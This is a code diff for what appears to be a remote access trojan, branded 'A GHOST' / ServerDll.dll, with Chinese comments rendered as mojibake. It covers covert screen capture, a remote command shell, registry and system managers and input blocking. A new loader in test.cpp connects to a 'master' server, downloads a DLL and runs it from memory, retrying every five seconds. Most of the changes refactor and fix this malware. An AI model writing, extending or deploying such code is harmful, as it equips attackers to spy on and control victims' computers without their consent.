|
||||
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeFunc that calls VirtualFree
|
||||
* internally to free the memory used by a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
|
||||
* internally to load an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
|
||||
* internally to get the address of an exported function.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
|
||||
* internally to release an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
||||
@@ -6,7 +6,6 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
#include "RegisterOperation.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
|
||||
@@ -40,64 +40,76 @@ public:
|
||||
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
IDXGIDevice* dxgiDevice = nullptr;
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
|
||||
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDXGIDevice * dxgiDevice = nullptr;
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
do {
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
if(!dxgiDevice)break;
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><EFBFBD>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
// 3. <20><>ȡ DXGI <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
if (!dxgiAdapter)break;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD>
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
if (!dxgiOutput)break;
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><EFBFBD> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
if (!dxgiOutput1)break;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
if (!deskDupl)break;
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
} while (false);
|
||||
|
||||
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
dxgiOutput1->Release();
|
||||
dxgiOutput->Release();
|
||||
dxgiAdapter->Release();
|
||||
dxgiDevice->Release();
|
||||
if (dxgiOutput1) dxgiOutput1->Release();
|
||||
if (dxgiOutput) dxgiOutput->Release();
|
||||
if (dxgiAdapter) dxgiAdapter->Release();
|
||||
if (dxgiDevice) dxgiDevice->Release();
|
||||
}
|
||||
|
||||
bool IsInitSucceed() const {
|
||||
return cpuTexture;
|
||||
}
|
||||
|
||||
void CleanupDXGI() {
|
||||
|
||||
@@ -12,7 +12,6 @@
|
||||
#include <WinUser.h>
|
||||
#endif
|
||||
#include <time.h>
|
||||
using namespace std;
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapturerDXGI.h"
|
||||
@@ -45,7 +44,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
|
||||
bool DXGI = false;
|
||||
int DXGI = 0;
|
||||
BYTE algo = ALGORITHM_DIFF;
|
||||
if (!(user == NULL || (int)user == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
@@ -55,10 +54,25 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
delete param;
|
||||
}
|
||||
} else {
|
||||
DXGI = user;
|
||||
DXGI = (int)user;
|
||||
}
|
||||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||||
if ((1==DXGI && IsWindows8orHigher()))
|
||||
{
|
||||
auto s = new ScreenCapturerDXGI(algo);
|
||||
if (s->IsInitSucceed()) {
|
||||
m_ScreenSpyObject = s;
|
||||
}
|
||||
else {
|
||||
SAFE_DELETE(s);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
}
|
||||
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
|
||||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,7
|
||||
FILEVERSION 1,0,0,8
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.7"
|
||||
VALUE "FileVersion", "1.0.0.8"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
@@ -6,18 +6,15 @@
|
||||
#include "ShellManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
BOOL bStarting = TRUE;
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
bStarting = TRUE;
|
||||
m_bStarting = TRUE;
|
||||
m_hThreadRead = NULL;
|
||||
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
m_hShellThreadHandle = NULL;
|
||||
@@ -109,7 +106,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
char szBuffer[1024] = {0};
|
||||
DWORD dwTotal = 0;
|
||||
CShellManager *This = (CShellManager*)lParam;
|
||||
while (bStarting)
|
||||
while (This->m_bStarting)
|
||||
{
|
||||
Sleep(100);
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
|
||||
@@ -160,7 +157,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
bStarting = FALSE;
|
||||
m_bStarting = FALSE;
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
|
||||
|
||||
@@ -27,6 +27,7 @@ public:
|
||||
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
|
||||
|
||||
BOOL m_bStarting;
|
||||
HANDLE m_hThreadRead;
|
||||
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
|
||||
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
|
||||
@@ -99,3 +99,28 @@ public:
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
class CLock
|
||||
{
|
||||
private:
|
||||
CRITICAL_SECTION m_cs;
|
||||
public:
|
||||
CLock()
|
||||
{
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
~CLock()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void Unlock()
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void Lock()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
#include "SystemManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
#include <TLHELP32.H>
|
||||
|
||||
#ifndef PSAPI_VERSION
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
#include <mmsystem.h>
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
using namespace std;
|
||||
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
#define ID_TIMER_DELAY_DISPLAY 2
|
||||
#define ID_TIMER_CLOSE_WINDOW 3
|
||||
@@ -20,18 +20,14 @@ using namespace std;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
char g_Buffer[TALK_DLG_MAXLEN] = {0};
|
||||
UINT_PTR g_Event = 0;
|
||||
|
||||
IOCPClient* g_IOCPClientObject = NULL;
|
||||
|
||||
extern HINSTANCE g_hInstance;
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_hInstance = HINSTANCE(user);
|
||||
g_Event = 0;
|
||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||
BYTE bToken = TOKEN_TALK_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_IOCPClientObject = ClientObject;
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
@@ -55,8 +51,8 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL,DialogProc); //SDK C MFC C++
|
||||
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -65,11 +61,12 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
static CTalkManager* This = nullptr;
|
||||
switch(uMsg)
|
||||
{
|
||||
case WM_TIMER:
|
||||
{
|
||||
OnDlgTimer(hDlg);
|
||||
if (This) This->OnDlgTimer(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_INITDIALOG:
|
||||
@@ -80,19 +77,19 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
exStyle &= ~WS_EX_APPWINDOW;
|
||||
exStyle |= WS_EX_TOOLWINDOW;
|
||||
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||
|
||||
OnInitDialog(hDlg);
|
||||
This = (CTalkManager*)lParam;
|
||||
if(This) This->OnInitDialog(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
||||
{
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -114,10 +111,10 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||
|
||||
g_Event = ID_TIMER_POP_WINDOW;
|
||||
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
|
||||
SetTimer(hDlg, g_Event, 1, NULL);
|
||||
|
||||
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
}
|
||||
|
||||
|
||||
@@ -143,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
HINSTANCE m_hInstance;
|
||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CTalkManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
@@ -21,8 +22,11 @@ public:
|
||||
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam);
|
||||
|
||||
static VOID OnInitDialog(HWND hDlg);
|
||||
static VOID OnDlgTimer(HWND hDlg);
|
||||
VOID OnInitDialog(HWND hDlg);
|
||||
VOID OnDlgTimer(HWND hDlg);
|
||||
|
||||
char g_Buffer[TALK_DLG_MAXLEN];
|
||||
UINT_PTR g_Event;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
|
||||
@@ -154,9 +154,11 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -201,6 +201,7 @@
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="ClientDll.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
@@ -222,8 +223,6 @@
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
|
||||
175
client/test.cpp
@@ -1,9 +1,12 @@
|
||||
#include <windows.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
#include <corecrt_io.h>
|
||||
#include "common/commands.h"
|
||||
#include "StdAfx.h"
|
||||
#include "MemoryModule.h"
|
||||
#include <WS2tcpip.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
@@ -25,7 +28,7 @@ IsExit bExit = NULL;
|
||||
|
||||
BOOL status = 0;
|
||||
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL };
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
@@ -96,6 +99,157 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
|
||||
BOOL Run(const char* argv1, int argv2);
|
||||
|
||||
// Package header.
|
||||
typedef struct PkgHeader {
|
||||
char flag[8];
|
||||
int totalLen;
|
||||
int originLen;
|
||||
PkgHeader(int size) {
|
||||
memset(flag, 0, sizeof(flag));
|
||||
strcpy_s(flag, "Hello?");
|
||||
originLen = size;
|
||||
totalLen = sizeof(PkgHeader) + size;
|
||||
}
|
||||
}PkgHeader;
|
||||
|
||||
// A DLL runner.
|
||||
class DllRunner {
|
||||
public:
|
||||
virtual void* LoadLibraryA(const char* path) = 0;
|
||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
||||
virtual BOOL FreeLibrary(void* mod) = 0;
|
||||
};
|
||||
|
||||
// Default DLL runner.
|
||||
class DefaultDllRunner : public DllRunner {
|
||||
private:
|
||||
HMODULE m_mod;
|
||||
public:
|
||||
DefaultDllRunner() : m_mod(nullptr) {}
|
||||
// Load DLL from the disk.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
return m_mod = ::LoadLibraryA(path);
|
||||
}
|
||||
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
|
||||
return ::GetProcAddress(m_mod, lpProcName);
|
||||
}
|
||||
virtual BOOL FreeLibrary(void* mod) {
|
||||
return ::FreeLibrary(m_mod);
|
||||
}
|
||||
};
|
||||
|
||||
// Memory DLL runner.
|
||||
class MemoryDllRunner : public DllRunner {
|
||||
private:
|
||||
HMEMORYMODULE m_mod;
|
||||
std::string GetIPAddress(const char* hostName)
|
||||
{
|
||||
// 1. <20>ж<EFBFBD><D0B6>Dz<EFBFBD><C7B2>ǺϷ<C7BA><CFB7><EFBFBD> IPv4 <20><>ַ
|
||||
sockaddr_in sa;
|
||||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||
// <20>ǺϷ<C7BA> IPv4 <20><>ַ<EFBFBD><D6B7>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
return std::string(hostName);
|
||||
}
|
||||
|
||||
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
addrinfo hints = {}, * res = nullptr;
|
||||
hints.ai_family = AF_INET; // ֻ֧<D6BB><D6A7> IPv4
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
if (getaddrinfo(hostName, nullptr, &hints, &res) != 0)
|
||||
return "";
|
||||
|
||||
char ipStr[INET_ADDRSTRLEN] = {};
|
||||
sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr;
|
||||
inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN);
|
||||
|
||||
freeaddrinfo(res);
|
||||
return std::string(ipStr);
|
||||
}
|
||||
public:
|
||||
MemoryDllRunner() : m_mod(nullptr){}
|
||||
// Request DLL from the master.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
WSADATA wsaData = {};
|
||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
||||
return nullptr;
|
||||
|
||||
const int bufSize = 4 * 1024 * 1024;
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
|
||||
do{
|
||||
if (!isFirstConnect)
|
||||
Sleep(5000);
|
||||
|
||||
isFirstConnect = false;
|
||||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (clientSocket == INVALID_SOCKET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD timeout = 5000;
|
||||
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
|
||||
|
||||
sockaddr_in serverAddr = {};
|
||||
serverAddr.sin_family = AF_INET;
|
